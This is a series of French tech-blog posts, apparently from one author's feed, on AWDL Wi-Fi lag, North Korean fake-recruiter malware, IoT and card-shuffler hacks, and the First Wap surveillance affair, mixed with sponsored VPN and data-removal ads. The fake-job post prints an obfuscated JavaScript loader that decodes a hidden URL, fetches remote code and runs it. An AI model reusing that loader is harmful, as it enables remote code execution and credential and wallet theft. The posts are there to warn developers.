Vous streamez une vidéo sur votre iPad, tout va bien, et puis ça lag. Pas beaucoup hein, juste une petite micro-saccade bien en rythme toutes les deux secondes. Ce n’est pas la faute de votre routeur et pourtant vous avez beau pinger votre réseau local, ça saute de 3 ms à 90 ms… Bienvenue dans le monde merveilleux d’AWDL, la technologie Apple qui transforme plus d’un milliard d’appareils en mini-pollueurs du spectre WiFi.

Christoff Visser, ingénieur au labo de recherche d’Internet Initiative Japan, a eu ce problème et en a parlé lors de sa dernière présentation à la conférence RIPE 91 . Il était en train de streamer un jeu avec Moonlight quand ça s’est mis à sauter à intervalles réguliers. Ça l’intrigue, alors il fait ce que ferait n’importe quel ingénieur réseau qui se respecte… Il sort Wireshark et commence à tout sniffer.

Et là, surprise… Son iPad saute entre les canaux WiFi.

Mais pas aléatoirement, hein… précieusement toutes les deux secondes. C’est alors qu’il comprend que le coupable est le protocole AWDL (Apple Wireless Direct Link). Vous voyez AirDrop, cette app magique qui vous permet d’envoyer des fichiers entre iPhone et Mac sans rien configurer ? Handoff, qui vous laisse continuer votre mail de l’iPhone sur le Mac ? Sidecar, pour utiliser votre iPad comme second écran ? Hé bien toute cette magie Apple repose sur ce protocole propriétaire non-documenté qui tourne en permanence sur vos appareils.

Voici comment ça marche… Pour que deux appareils Apple puissent se parler n’importe où dans le monde, ils doivent d’abord se trouver. Apple a donc défini ce qu’on pourrait appeler des canaux sociaux : le canal 6 pour le 2,4 GHz, les canaux 44 et 149 pour le 5 GHz. Ce sont si vous voulez, des points de rendez-vous. Vos appareils sautent alors régulièrement sur ces canaux pour vérifier si quelqu’un veut leur parler, puis reviennent sur le canal de votre réseau WiFi.

Sauf que si vous êtes un admin réseau malin, vous n’utilisez PAS ces canaux parce que tout le monde les utilise. Vous scannez le spectre, vous trouvez un canal vide, et vous configurez votre réseau là-dessus pour éviter les interférences. Logique, non ?

Bah non. Pas avec Apple.

Parce que vos appareils Apple, eux, ils s’en foutent. Ils vont QUAND MÊME sauter sur les canaux 6, 44 ou 149 pour checker si quelqu’un veut leur parler, puis revenir. Hop. Toutes les deux secondes. Que vous utilisiez AirDrop ou pas. Que vous ayez d’autres appareils Apple à proximité ou pas. En permanence !

C’est dingue non ? Du coup, on se retrouve avec ces micro-coupures et une latence qui explose. Visser a découvert que ce problème est remonté sur les forums utilisateurs depuis 2019 . Les gens se plaignent, mais personne ne comprend vraiment ce qui se passe parce qu’Apple ne documente pas AWDL et que ces paquets sont invisibles sur votre propre machine. Du coup, diagnostiquer ça est presque impossible.

Visser a donc contacté Apple via leur Feedback Assistant et il n’a obtenu aucune réponse. Même après sa conf à RIPE91, Apple a gardé le silence…

Bref, le “ça marche tout seul” d’Apple a un coût sauf que ce n’est pas Apple qui le paie. C’est nous, les admins réseaux et tous les autres appareils sur le réseau. Apple a optimisé l’expérience de SES utilisateurs en externalisant le problème sur l’infrastructure WiFi des autres.

Alors y’a t-il des solutions ?

Bah justement. Vous avez trois options mais je vous préviens, elles sont toutes pourries.

• Option 1 : Désactiver AWDL avec sudo ifconfig awdl0 down. Cool, ça marche sauf que vous perdez AirDrop, Handoff, Sidecar, et toutes les fonctionnalités cools qui font qu’un iPhone est un iPhone. Autant acheter un Android à ce tarif…
• Option 2 : Configurer votre réseau WiFi sur les canaux 6, 44 ou 149. Utiliser les mêmes canaux que tout le monde pour éviter que vos appareils Apple ne sautent est donc une bonne option, même si ces canaux sont souvent saturés. Et au Japon, le 149 est carrément interdit !
• Option 3 : Vivre avec en totale acception de votre sort. Vous devez accepter que vos appareils Apple sont des gros dégueulasses qui vont polluer le WiFi, accepter ces micro-latences et accepter que votre admin réseau va vous poursuivre avec un couteau dans les couloirs de la boite quand il aura lu mon article.

Et comme ce n’est pas un problème de matériel, acheter un nouveau routeur WiFi 7 ne changera rien puisque le problème, c’est la communication directe entre VOS appareils. Apple pousse même le RFC 9330 (L4S) pour réduire les délais réseau, mais ça ne résoudra rien non plus parce qu’AWDL, c’est du peer-to-peer et ça bypass votre routeur.

Quelqu’un n’a même pas besoin d’être connecté à votre réseau pour foutre le bordel. Il peut juste passer à côté de vous dans un café, déverrouiller son iPhone, et boom, votre réseau va glitcher quelques secondes pendant que vos appareils négocieront avec le sien.

Visser a donc présenté tout ça en espérant que les admins réseau et les FAI soient enfin informés du souci et puisse répondre enfin aux utilisateurs qui rencontrent ce problème invisible. Donc, voilà, la prochaine fois que votre connexion WiFi merdera sans raison, regardez autour de vous et comptez les iPhones et autres appareil Apple car chacun d’eux est en train de jouer à saute-moutons entre les canaux de votre réseau.

Plus d’un milliard d’appareils qui font ça en permanence, partout dans le monde, c’est pas rien quand même…

Bref…

Source

La rentrée 2025 n’est pas que le retour des agendas surchargés : c’est le moment que Surfshark a choisi pour dégainer deux nouveaux gros arguments techniques, histoire de rebattre encore une fois les cartes sur le ring des VPN. Avec la montée de serveurs à 100Gb/s et l’introduction de FastTrack, la promesse est simple : le VPN doit être un accélérateur, pas un boulet sur la bande passante.

Prendre le train en marche du haut débit

Depuis quelques années, Surfshark s’est taillé une place de choix pour protéger l’identité en ligne à petit prix, sans compromis sur la simplicité : appli claire, connexions simultanées illimitées, protection intégrée contre le phishing et même option MultiHop pour ceux qui veulent brouiller les pistes jusqu’au bout. L’utilisateur lambda retrouve sans peine ses petits, tandis que les plus exigeants bidouillent dans les options avancées (protocole WireGuard, split tunneling, blocage pub via CleanWeb …).

Sauf que dans la vraie vie numérique (un stream, un jeu, plusieurs téléchargements …), un VPN, ça peut très vite devenir une source de ralentissements, ce qui agace vite tout le monde. C’est là que les nouveautés 2025 de Surfshark tapent fort.

Les serveurs 100 Gb/s : le VPN ne doit plus freiner

Surfshark est le premier acteur du marché à déployer des serveurs VPN 100 Gb/s, inaugurés à Amsterdam sur l’AMS-IX — l’un des plus gros hubs internet d’Europe. Ce bon technique, 10 fois supérieur à la génération précédente (la norme était de 10 Gb/s), change profondément la donne. Objectif : absorber sans broncher la multiplication des appareils connectés dans chaque foyer, le boom des usages en 4K et des fichiers (ou jeux) de plus en plus lourds, comme les vidéos à 360° & co.

Concrètement, les risques de saturation ou de ralentissements sur les heures « pleines » disparaissent. Même si votre connexion fibre est upgrade à 2 Gb/s, le VPN tient le choc et ne s’interpose plus comme goulet d’étranglement. L’approche anticipe aussi l’arrivée des usages AR/VR en streaming, très gourmands en bande passante.

Côté utilisation, rien à faire de spécial : on choisit son serveur et la mécanique se charge du reste. Certes, pour l’instant seuls certains emplacements sont équipés, mais Surfshark annonce déjà des déploiements progressifs dans d’autres villes après cette première phase de test.

FastTrack : fini la galère du serveur congestionné

Deuxième innovation à signaler : FastTrack, disponible dès cet automne, vise à rendre la navigation sous VPN aussi fluide que votre trajet matinal … un lundi de grève générale sans personne dans les rues.

FastTrack analyse en temps réel le réseau Nexus de Surfshark, et trouve automatiquement le chemin le plus rapide, en court-circuitant toute zone congestionnée ou serveur embouteillé. Résultat : jusqu’à 70% de gain de vitesse dans certains cas, et une latence en chute libre, même pour du gaming ou du streaming 4K. L’optimisation se fait à la volée, l’utilisateur n’a rien à régler. C’est un peu le mode « Waze » du VPN : plutôt qu’un trajet direct plan-plan, FastTrack cherche la route la moins saturée, et ajuste tout si besoin. Voici la vidéo qui vous en dira plus :

Le déploiement se fait par étapes (d’abord MacOS, villes pilotes…), mais il n’y a pas de surcoût ni de manipulation complexe. Les premiers retours utilisateurs rapportent un effet perceptible, surtout aux heures de pointe, avec des gains sur le ping ingame ou la stabilité du stream sur plateformes exigeantes.

Donc si vous ne voyez pas encore d’amélioration c’est normal, soyez patient. La performance maximale dépend de l’emplacement des serveurs 100Gb/s ; hors Amsterdam, on reste sur de l’excellent 10 Gb/s, ce qui suffit déjà à la très grande majorité des usages domestiques.

Fonctionnalités et expérience utilisateur : une solution complète, prix mini

Surfshark conserve tous ses arguments historiques :

• Connexions illimitées avec un seul abonnement : le VPN familial par excellence.
• Un réseau mondial vaste (plus de 100 pays couverts, serveurs RAM only), aucune journalisation à long terme, audits indépendants réguliers.
• Mode camouflage pour les réseaux restrictifs, CleanWeb pour bloquer pubs et phishing.
• Support WireGuard & OpenVPN, streaming sans géo-blocage, split tunneling, etc.

À cela s’ajoute la compétitivité du tarif long terme : Surfshark affiche depuis toujours l’un des prix au mois parmi les plus bas du marché, avec souvent des promos (3 mois ou 4 mois offerts, voire plus selon la période). Et toujours la possibilité d’obtenir un remboursement si le service ne vous convient pas.

Cela dit il reste encore des points d’améliorations possibles. L’interface Linux est fonctionnelle, mais encore rugueuse comparée aux autres OS, Surfshark ne propose pas de serveur « dédié jeux vidéo » avec un ping aussi bas que certains concurrents sur ce segment, mais s’en sort très bien sur les usages généraux. Enfin l’accès en Chine reste aléatoire selon certains utilisateurs (pas testé personnellement par contre, si un jour je décide de faire un séjour au temple des moines shaolins je vous dirai).

(je fais déjà pareil avec des barres de chocolat)

Le VPN est déjà prêt pour 2026

Surfshark VPN profite de cette rentrée pour montrer que la cybersécurité ne doit plus être synonyme de concessions techniques. Les 2 dernières nouveautés, si elles ne révolutionnent pas les choses, marquent un vrai saut générationnel, ouvrant la voie à un VPN qui disparait en usage quotidien, sans sacrifier la perf’ ni la vie privée.

Côté usage, c’est toujours aussi simple : on clique, ça marche, on ne s’en occupe plus. Ceux qui veulent bidouiller pourront exploiter toutes les options, les autres se contenteront de profiter d’un Internet plus sûr, plus rapide et moins stressant.

Les promos valables en ce moment permettent de sécuriser ses connexions pour une bouchée de pain (moins de 2.4€/mois TTC), avec 3 mois offerts et une flexibilité d’utilisation rare. En résumé, Surfshark avance avec sérieux sur la vitesse et la confidentialité. Si votre VPN vous fait encore ramer, c’est peut-être le moment de changer d’ère/air.

Découvrir Surfshark VPN au meilleur tarif !

Vous êtes développeur blockchain et vous recevez un message LinkedIn d’un recruteur sympa pour une boîte qui a l’air tout a faire sérieuse. Ils ont un site web propre, des profils crédibles, et ils vous proposent de faire un petit test technique sur GitHub. Ça vous parle ? Bah oui, je vous ai parlé de cette arnaque y’a 2 jours … Et malheureusement, si vous n’y prenez pas garde, vous télécharger le code, vous le lancez, et BOOM… vous venez de contribuer financièrement au programme de missiles balistiques nord-coréen.

Bravo !

Car oui d’après une enquête de Google Threat Intelligence le groupe nord-coréen UNC5342 (aussi connu sous une dizaine d’autres noms selon qui le traque) a adopté une technique qui fait froid dans le dos : EtherHiding. Le principe c’est de. cacher du code malveillant directement dans des smart contracts sur la blockchain et selon Google, c’est la première fois qu’on documente qu’un état-nation utilise cette méthode.

La blockchain, cette technologie impossible à censurer, car décentralisée par essence vient de devenir l’arme parfaite d’un régime totalitaire. Parce que figurez-vous, quand vous stockez du malware dans un smart contract sur Ethereum ou la BNB Smart Chain, personne ne peut l’effacer. Même si tout le monde sait qu’il est là et même si vous avez l’adresse exacte.

C’est tout le concept !

Cette adresse, 0x8eac3198dd72f3e07108c4c7cff43108ad48a71c c’est donc le smart contract que les Nord-Coréens ont utilisé et Google a observé depuis plus de 20 mises à jour sur ce contrat en l’espace de 4 mois. Le coût de chaque transaction est d’environ 1,37 dollar, soit le prix d’un café que la Corée du Nord doit payer pour déployer et mettre à jour son infrastructure d’attaque qui devient ainsi permanente et indestructible.

Un missile balistique ça coûte des millions alors que ce genre de “cyber missile” stocké sur la blockchain ça coûte rien et le retour sur investissement est colossal. On parle de 2 milliards de dollars volés rien qu’au premier semestre 2025 . En février dernier, le groupe Lazarus (même famille, autre branche) a même éussi le plus gros casse crypto de l’histoire en volant 1,5 milliard de dollars à l’exchange Bybit . Depuis 2017, ce serait donc au total plus de 6 milliards volés et devinez où va cet argent ?

Dans le programme de missiles de la Corée du Nord et dans le contournement des sanctions internationales.

La campagne s’appelle “Contagious Interview” et elle cible spécifiquement les développeurs. Les Nord-Coréens créent de fausses boîtes avec des noms qui sonnent bien, genre “BlockNovas LLC”, montent des sites web complets, des profils LinkedIn qu’ils entretiennent pendant des mois, et ils vous contactent comme de vrais recruteurs. Ils vous font alors passer par toutes les étapes d’un processus de recrutement classique, déplacent la conversation sur Telegram ou Discord pour faire plus naturel, et finissent par vous envoyer ce fameux “test technique” hébergé sur GitHub.

Le code contient un loader JavaScript appelé JADESNOW qui va alors interroger la blockchain via des appels en lecture seule. Ça ne coûte rien en frais de transaction, ça n’alerte personne, et ça récupère le payload chiffré stocké dans le smart contract. Une fois déchiffré, ça déploie alors d’autres malwares aux noms charmants comme INVISIBLEFERRET, PITHOOK ou COOKIENET.

Et leur seul but c’est de voler vos cryptos, bien sûr, mais aussi installer un accès persistant à votre machine pour de futures opérations.

On est donc très loin ici du schéma du hacker solitaire dans son sous-sol. Là on parle d’équipes entières financées par un état, avec des objectifs militaires clairs, qui ont le temps et les ressources pour monter des opérations de social engineering sur plusieurs mois. Ils utilisent même la technique du “ClickFix” qui consiste à afficher un faux message d’erreur qui pousse l’utilisateur à installer quelque chose pour “corriger” le problème. Ça exploite notre réflexe naturel de vouloir réparer ce qui est cassé et le pire dans tout ça, c’est que les plateformes comme LinkedIn ou GitHub sont coincées.

Bah oui, comment voulez-vous distinguer un vrai recruteur d’un faux quand l’attaquant a trois mois devant lui pour construire une identité crédible ?

Bref, les développeurs blockchain sont devenus les nouvelles cibles premium et contrairement à une banque ou une plateforme crypto qui a des équipes sécurité, ceux là sont tout seuls derrière leur écran.

Selon les chercheurs de Mandiant , UNC5342 utilise cette technique depuis février 2025 au moins donc si vous bossez dans la blockchain, faites gaffe. Si vous recevez des offres, posez-vous des questions parce que financer des missiles nord-coréens, c’est pas vraiment le genre de side project qu’on veut sur son CV ^^.

Source

On est bientôt en pleine Cybersecurity Week, et si vous avez encore votre numéro de téléphone, votre adresse ou pire – votre salaire estimé – qui traîne sur des dizaines de sites louches, c’est le moment ou jamais de passer à l’action. Parce que non, ce n’est pas juste “un peu gênant”. C’est une brèche béante dans votre vie privée, et elle coûte cher.

Laisser traîner ses données personnelles, c’est accepter d’être la cible d’hameçonnages, de publicités agressives ou pire, devenir une variable dans des scénarios de fraude. Les courtiers en données collectent et revendent tout ce qu’ils peuvent glaner en ligne — identité, préférences, historiques d’achat ou de navigation, parfois même des données sensibles. Une fois ces infos répandues, les conséquences sont imprévisibles.

Rappelez-vous TikTok, qui vient de se prendre 530 millions d’euros d’amende pour avoir baladé les données européennes vers la Chine comme si c’était un sachet de popcorn. Et ce n’est qu’un exemple parmi des centaines. Vos données, c’est de l’or. Un business à 434 milliards de dollars en 2025. Et vous, vous êtes le produit.

Vos infos sont partout. Vraiment partout

Faites le test : tapez votre nom complet sur Google. Ajoutez votre ville si besoin. Vous allez probablement tomber sur une partie ou l’ensemble des données suivantes :

• Votre adresse postale (souvent ancienne, mais toujours visible)
• Votre numéro de portable
• Vos anciens boulots
• Des photos que vous pensiez réservées à vos potes
• Et parfois même une estimation de votre salaire ou de votre patrimoine

Tout ça, ce n’est pas Google qui l’a inventé. Ce sont des data brokers – ces boîtes de l’ombre qui rassemblent, croisent et revendent vos infos à qui veut bien payer. Et elles sont légion. Une étude d’Incogni montre que certaines personnes retrouvent leurs données sur plus de 200 sites différents. Oui, deux-cent.

Et le pire ? Ces données ne restent pas statiques. Elles circulent. Elles sont rachetées, enrichies, croisées avec d’autres sources… jusqu’à ce qu’un inconnu puisse vous appeler en connaissant votre prénom, votre quartier, votre fournisseur d’électricité, et le nom de votre chat.

Le RGPD, c’est bien… mais c’est pas magique

En Europe, on a el famoso RGPD, qui nous donne un droit à l’oubli. Super en théorie, mais en pratique … c’est autre chose. Parce que pour le faire valoir, il faut :

• Identifier tous les sites qui détiennent vos données (“bon chance” comme dirait Liam Neeson)
• Trouver leur formulaire de suppression (s’il existe)
• Envoyer une demande conforme
• Relancer s’ils ne répondent pas
• Recommencer tous les 3 à 6 mois, parce qu’ils recollectent vos infos dès que vous avez le dos tourné

Bref, c’est chronophage, chiant, et peu efficace à grande échelle. Surtout quand on sait que 10 nouveaux data brokers récupèrent vos infos chaque jour.

Alors, comment s’en sortir ?

La bonne nouvelle, c’est que vous n’êtes pas obligé de devenir un expert en droit de la vie privée ni annuler vos week-ends en famille pour remplir des formulaires à la pelle.

Incogni, le service de suppression automatisée de données personnelles , fait exactement ce boulot à votre place. Et franchement, vu le prix, c’est un deal.

Pour une dizaine d’euros par mois (ou moins de 6 €/mois avec le code KORBEN55, merci la Cybersecurity Week), Incogni :

• Scanne en continu plus de 420 data brokers (y compris 150+ bases privées non accessibles au public)
• Envoie des demandes de suppression conformes au RGPD, CCPA, et autres lois locales
• Relance automatiquement tous les 60 à 90 jours pour éviter que vos données ne réapparaissent
• Vous permet de demander la suppression sur n’importe quel site via la fonction “custom removals” (disponible sur le plan Illimité)

Résultat après 3 ans d’utilisation de mon côté ? 232 suppressions confirmées. Et ce n’est pas du flan : Incogni est la première entreprise du secteur à avoir fait auditer ses résultats par Deloitte. Oui, 245 millions de suppressions réussies à l’échelle mondiale, vérifiées par un tiers indépendant.

Attention aux apps gratuites – surtout si elles ne sont pas européennes

Pendant que vous vous demandez si vous avez vraiment besoin de ce service, sachez que 88 % des applis américaines et 92 % des applis chinoises partagent vos données avec des tiers. Contre seulement 54 % pour les applications européennes.

Et devinez qui est en tête du classement des plus gros collecteurs ? (on va voir si vous avez retenu la leçon)

• Meta avec Threads & Instagram (37 types de données), WhatsApp (14)
• TikTok est juste derrière avec 24 types
• Les apps de streaming : Prime Vidéo (17), Netflix (12), Disney+ (9) etc.
• ChatGPT (9)
• Signal, lui, se contente de 3. La différence, elle est là.

Les apps de shopping comme Temu ou AliExpress ? Elles aspirent tout ce qu’elles peuvent. Les apps de fitness ou de santé mentale ? Elles vendent vos données les plus intimes sans sourciller.

Et on ne parle pas ici de votre simple adresse mail ou votre géolocalisation, mais bien de vos tendances politiques, orientations sexuelles, score de crédit, etc.

Selon l’étude (et pour donner des exemples concrets) : Netflix récolte vos enregistrements vocaux, Temu récupère la liste de toutes les applis que vous utilisez, Meta (en dehors de WhatsApp) récupère vos calendriers, vos photos et vos vidéos à des fins marketing, etc.

Donc non, “je ne poste rien de sensible” ne suffit plus. Vos données fuient de partout, souvent sans que vous le sachiez.

Et pour les entreprises ?

Incogni propose aussi le plan Ironwall360, une version dédiée aux entreprises, administrations, tribunaux ou forces de l’ordre. Parce que quand on est juge, avocat, ou travailleur social, voir ses coordonnées publiques peut vite devenir un problème de sécurité bien réel. Ironwall gère ça avec une approche sur mesure, des équipes dédiées, et un support 24/7 – y compris en urgence.

Mais pour nous, simples mortels, le plan perso suffit largement. Surtout avec la promo pour la Cybersecurity Week qui battra bientôt son plein (du 17 au 20 novembre à Rennes). Pour rappel la CW fédère pros et passionnés, avec pour leitmotiv la souveraineté numérique et la résilience. D’année en année, la cybersécurité évolue, mais l’exploitation des données personnelles y sera de nouveau présente. Surtout face à la montée croissante des menaces liées à l’intelligence artificielle et la manipulation automatisée de l’identité numérique.

Faut-il vraiment payer pour ça ?

Techniquement, non. Vous pouvez tout faire vous-même. Mais combien de temps ça va vous prendre ? Combien de fois allez-vous devoir relancer ? Et surtout : combien de fois allez-vous oublier de le faire (parce que la flemme quoi, y’a la dernière saison de Stranger Things à mater), avant que vos infos ne réapparaissent sur un nouveau site de merde pas top ? Un parcours éprouvant qui rebute le plus motivé des internautes.

Alors pendant cette Cybersecurity Week, faites-vous un cadeau : reprenez le contrôle.

👉 Profitez des -55 % avec le code KORBEN55

À moins de 6 €/mois (soit bien moins cher que ses concurrents directs), Incogni fait le sale boulot à votre place, en continu, sans que vous ayez à lever le petit doigt. C’est moins cher qu’un café par semaine. Et franchement, entre votre prochain café et votre tranquillité d’esprit, le choix est vite fait (cette phrase ne s’applique pas forcément entre 6h et 8h du matin).

Effacer complètement sa présence en ligne ? Impossible.
Mais la réduire drastiquement, limiter les fuites, couper les vivres aux data brokers ? Oui, c’est possible. Et avec Incogni, c’est même devenu accessible à tout le monde.

→ Cliquez ici pour en savoir plus sur Incogni ←

Vous avez une caméra de surveillance connectée chez vous ? Du genre petite caméra Yi à 15 balles achetée sur AliExpress pour surveiller le salon ou le chat quand vous n’êtes pas là ? Alors tenez-vous bien parce qu’un chercheur a réussi à faire tourner DOOM dessus. Et sans toucher au firmware s’il vous plait ! Il a juste exploité le stream vidéo et quelques bugs bien sentis de l’appareil.

Luke M a publié son projet Yihaw sur GitHub et ça fait un peu peur car si quelqu’un peut hijacker le stream de votre caméra pour y balancer un FPS des années 90, il peut aussi faire pas mal d’autres trucs beaucoup moins rigolos.

Le hack est assez cool d’ailleurs car ces caméras Yi tournent sur un petit processeur ARM sous Linux. Elles ont donc une app mobile qui vous permet de voir le stream en temps réel et Luke M a trouvé plusieurs vulnérabilités dans la stack réseau de la caméra. Je vous passe les détails mais avec ces bugs, il peut injecter du code arbitraire sans modifier le firmware.

Il peut alors créer trois threads qui tournent en parallèle. Le premier récupère les frames YUV420p directement depuis le capteur de la caméra. Le deuxième convertit ça en h264. Le troisième, au lieu d’envoyer le flux vidéo normal, envoie DOOM. Du coup, vous ouvrez l’app Yi IoT sur votre smartphone et vous voyez le Doomguy buter des demons au lieu de voir votre salon. C’est rigolo, hein ?

Ces caméras Yi, il y en a des millions installées partout dans le monde. Bureaux, maisons, magasins…etc car elles sont pas chères, elles marchent plutôt bien, elles ont une app correcte, mais leur sécurité c’est une vraie passoire. C’est bourré de bugs qu’on trouve en une après-midi avec un fuzzer basique.

Luke M liste plusieurs exploits dans son repo GitHub et c’est un vrai buffet à volonté pour quelqu’un qui veut prendre le contrôle de ces caméras. Bien sûr ce serait illégal alors personne ne le fait, surtout parce que ça demande quand même un peu de boulot pour chaque modèle de caméra. Mais les outils existent, les vulnérabilités sont connues, et si un chercheur solo peut le faire pour s’amuser avec DOOM, imaginez ce qu’un botnet bien pensé pourrait faire.

Tous ces trucs qu’on a chez nous, qui tournent sur du Linux embarqué avec des stacks réseau écrites à l’arrache par des équipes chinoises sous-payées qui doivent sortir un produit tous les trois mois.

C’est beau non ?

Source (c’est du PDF)

Vous avez peur que l’IA prenne votre boulot ? Et bien David Dodda, lui, a failli se faire avoir par un faux boulot et c’est son IA qui l’a sauvé ! Je vous explique !

Tout commence classiquement sur LinkedIn. David reçoit un message de Mykola Yanchii, Chief Blockchain Officer chez Symfa, une boîte qui développe des plateformes blockchain. Le profil LinkedIn a l’air béton… Il a plus de 1000 connexions, une page entreprise nickel, bref tout respire le sérieux.

Et son message est pro, poli, et propose à David un poste à temps partiel sur BestCity, une plateforme immobilière. Bref, c’est le genre d’opportunité qu’on ne refuse pas quand on est développeur freelance comme David.

Le premier rendez-vous par visio se passe très bien. Le recruteur connait son sujet, pose les bonnes questions, explique le projet et ensuite, comme dans 99% des processus de recrutement tech, on envoie à David un test technique à réaliser chez lui. Il s’agit d’un projet hébergé sur Bitbucket, du code React et Node.js bien propre et sa mission c’est de compléter quelques fonctionnalités et renvoyer le tout avant la prochaine réunion.

Sauf que David, lui, a pris un réflexe que peu de gens ont. Avant même de lancer npm install, il a demandé à son assistant IA (Cursor) de scanner le code pour détecter d’éventuels patterns suspects. Et là, bingo ! L’IA trouve un truc louche dans le fichier server/controllers/userController.js.

Il s’agit d’un malware qui était bien planqué dans une fonction asynchrone complètement obfusquée. Un tableau d’octets encodé en ASCII qui, une fois décodé en UTF-8, révèle une URL pointant vers une API externe. Et cette URL récupère un payload qui est ensuite exécutée avec tous les privilèges Node.js. Cela débouche à sur un accès complet au système, aux credentials, aux wallets crypto, aux données clients…etc. Le jackpot pour un attaquant !

//Get Cookie
(async () => {
 const byteArray = [
 104, 116, 116, 112, 115, 58, 47, 47, 97, 112, 105, 46, 110, 112, 111, 105,
 110, 116, 46, 105, 111, 47, 50, 99, 52, 53, 56, 54, 49, 50, 51, 57, 99, 51,
 98, 50, 48, 51, 49, 102, 98, 57
 ];
 const uint8Array = new Uint8Array(byteArray);
 const decoder = new TextDecoder('utf-8');
 axios.get(decoder.decode(uint8Array))
 .then(response => {
 new Function("require", response.data.model)(require);
 })
 .catch(error => { });
})();

Et le truc flippant, c’est le niveau de sophistication de l’opération car là on n’a pas affaire à un script kiddie qui balance un trojan par email. Non, c’est une vraie infrastructure professionnelle avec un profil LinkedIn premium, un Calendly pour la prise de rendez-vous, un Bitbucket privé, du code source propre et fonctionnel (hormis le malware planqué). Et surtout, l’URL du malware est devenue HS 24 heures à peine après l’attaque. C’est donc une infrastructure éphémère qui laisse zéro trace.

Si je relaye ce témoignage de David c’est parce que ce genre d’attaque se multiplie. Ce n’est pas un cas isolé… Par exemple le groupe nord-coréen Lazarus utilise cette technique depuis des mois, en créant de fausses entreprises crypto, de faux profils de recruteurs sur LinkedIn, Upwork, Freelancer, et en ciblant spécifiquement les développeurs. Le malware déployé s’appelle BeaverTail, et il installe ensuite un backdoor Python baptisé InvisibleFerret qui fonctionne sur Windows, Linux et macOS. Ce truc vise surtout les extensions de navigateur comme MetaMask ou Coinbase Wallet, récupère tous les mots de passe stockés, et collecte tout ce qui traine.

Alors pourquoi ça marche aussi bien ?

Hé bien parce que les hackers exploitent nos biais cognitifs. L’ambition de décrocher un bon job, la politesse pour ne pas vexer un recruteur, l’urgence créée artificiellement pour qu’on ne prenne pas le temps de réfléchir, la peur de rater une opportunité. Bref, toutes ces émotions qui court-circuitent notre esprit critique.

Heureusement que David a lancé une analyse IA du code sinon, il aurait eu de gros problèmes. Ça prend 30 secondes comme geste barrière et ça peut vous sauver des milliers d’euros et des centaines d’heures de galère.

Si David n’avait pas eu ce réflexe, il aurait lancé npm install, puis npm start, et le malware se serait exécuté en arrière-plan pendant qu’il codait tranquillement ses fonctionnalités. L’attaquant aurait alors eu accès à tout : Ses identifiants GitHub, ses clés SSH, ses tokens d’API, ses wallets crypto si il en a et peut-être même les données de ses clients. Le cauchemar absolu.

Voilà, donc méfiez vous de ce qui arrive via des plateformes de recrutement, on ne sait jamais ! Vous n’aurez peut être pas le job mais vous garderez votre ordinateur propre, vous conserverez vos cryptos, vos mots de passe et vos clients et ça c’est déjà pas si mal !

Source

Vous connaissez peut-être ces machines à mélanger les cartes qu’on trouve dans tous les casinos américains ?

Moi je ne savais même pas que ça existait, mais apparemment, le Deckmate 2, fabriqué par Shufflemaster (devenu depuis Light and Wonder), c’est la Rolls des shufflers. Un shuffler c’est pas un légume dégeu, c’est un mélangeur de cartes et on en trouve notamment au World Series of Poker (La biz à Patrick Bruel ^^), et dans tous les grands poker rooms de Vegas.

Cela permet d’automatiser le mélange pour accélérer le jeu et surtout éviter que ceux qui distribuent les cartes (les dealers) trichent avec de faux mélanges. La machine a même une caméra intégrée qui scanne chaque carte pour détecter si quelqu’un essaie de retirer un as ou d’ajouter un sept de pique.

En septembre 2022, il y a eu un scandale qui a secoué le monde du poker. Au Hustler Casino Live de Los Angeles, une joueuse relativement débutante, Robbi Jade Lew, gagne un pot de 269 000 dollars avec un call complètement fou. Elle avait valet-quatre dépareillés (un truc nul), et son adversaire Garrett Adelstein bluffait avec huit-sept. Techniquement, son call était correct, mais aucun joueur sensé n’aurait misé 109 000 dollars sur une main pareille sans savoir que l’adversaire bluffait… Le casino a donc lancé une enquête et conclu que le shuffler ne pouvait pas être compromis.

Mais même si ce n’était pas le cas pour cette affaire, est ce que c’est vrai ? Est ce qu’un Deckmate 2 peut être hacké ? Pour le chercheur en sécurité, Joseph Tartaro, ça s’est présenté comme un nouveau défi personnel !

Il a donc acheté un Deckmate 2 d’occasion avec deux collègues et a passé des mois à le démonter… pour finalement trouver quelques trucs intéressants, vous allez voir.

Il a découvert que la machine a un port USB accessible sous la table, là où les joueurs posent les genoux. Tartaro a donc créé un mini-ordinateur de la taille d’une clé USB qui, une fois branché, réécrit le firmware de la machine. La seule sécurité qu’il y a, c’est au démarrage, quand la machine vérifie que le code n’a pas changé en comparant son empreinte à une valeur connue.

C’est une simple comparaison de hash et le problème est que Tartaro peut modifier cette valeur de référence aussi… Du coup, le système de vérification contrôle que le code piraté correspond au hash piraté. C’est ballot ^^. Et une fois le firmware modifié, la machine continue à fonctionner normalement sauf qu’elle transmet maintenant l’ordre exact des 52 cartes via Bluetooth vers une app smartphone. Et comme la caméra interne de ce Deckmate 2 scanne déjà toutes les cartes pour détecter les fraudes, il suffit d’exploiter cette fonctionnalité.

Un journaliste de Wired a décidé de mettre ça en pratique dans des conditions réelles et vous allez voir, c’est sympa à voir.

Ce 14 octobre 2025, Lighthouse Reports a balancé une enquête mondiale qui fait actuellement trembler l’industrie de la surveillance. Pour cette enquête titanesque, ce sont 70 journalistes de 14 médias différents dont Le Monde, Der Spiegel et Mother Jones qui ont bossé pendant des mois sur le même dossier et celui-ci est explosif.

Leur sujet c’est First Wap, une boîte indonésienne qui a discrètement espionné au fil des années, plus de 14 000 numéros de téléphone dans 168 pays grâce à un logiciel baptisé Altamides. Leurs cibles sont des journalistes d’investigation, des activistes, des PDG, des célébrités, même la fondatrice de 23andMe. Et ils ont fait tout cela, en exploitant une faille vieille comme le monde dans les réseaux télécoms.

L’un des cofondateurs de First Wap est même français et s’appelle Pascal Lalanne. Il a crée cette boîte en 1999 à Jakarta avec Josef Fuchs, un Autrichien au destin hors du commun, mais avant de vous raconter comment ils ont construit cet empire de la surveillance, rembobinons un peu pour comprendre toute cette histoire depuis le début…

Direction 1984, l’année où Josef Fuchs, jeune ingénieur autrichien de Siemens fraîchement débarqué de son Tyrol natal, pose ses valises à Jakarta pour ce qui devait être une mission de trois mois. Il doit installer des systèmes de télécommunications pour le tout nouveau aéroport de Cengkareng. L’Indonésie représente son dernier contrat avec Siemens après huit ans de bons et loyaux services.

Sauf que Fuchs tombe amoureux du pays, de sa culture, et de ses possibilités infinies. En 1989, fidèle à ses racines européennes, il retourne en Allemagne de l’Est juste après la chute du Mur pour monter une boîte et une école. Le projet est un succès qui perdure encore aujourd’hui, mais l’appel de l’Asie reste plus fort.

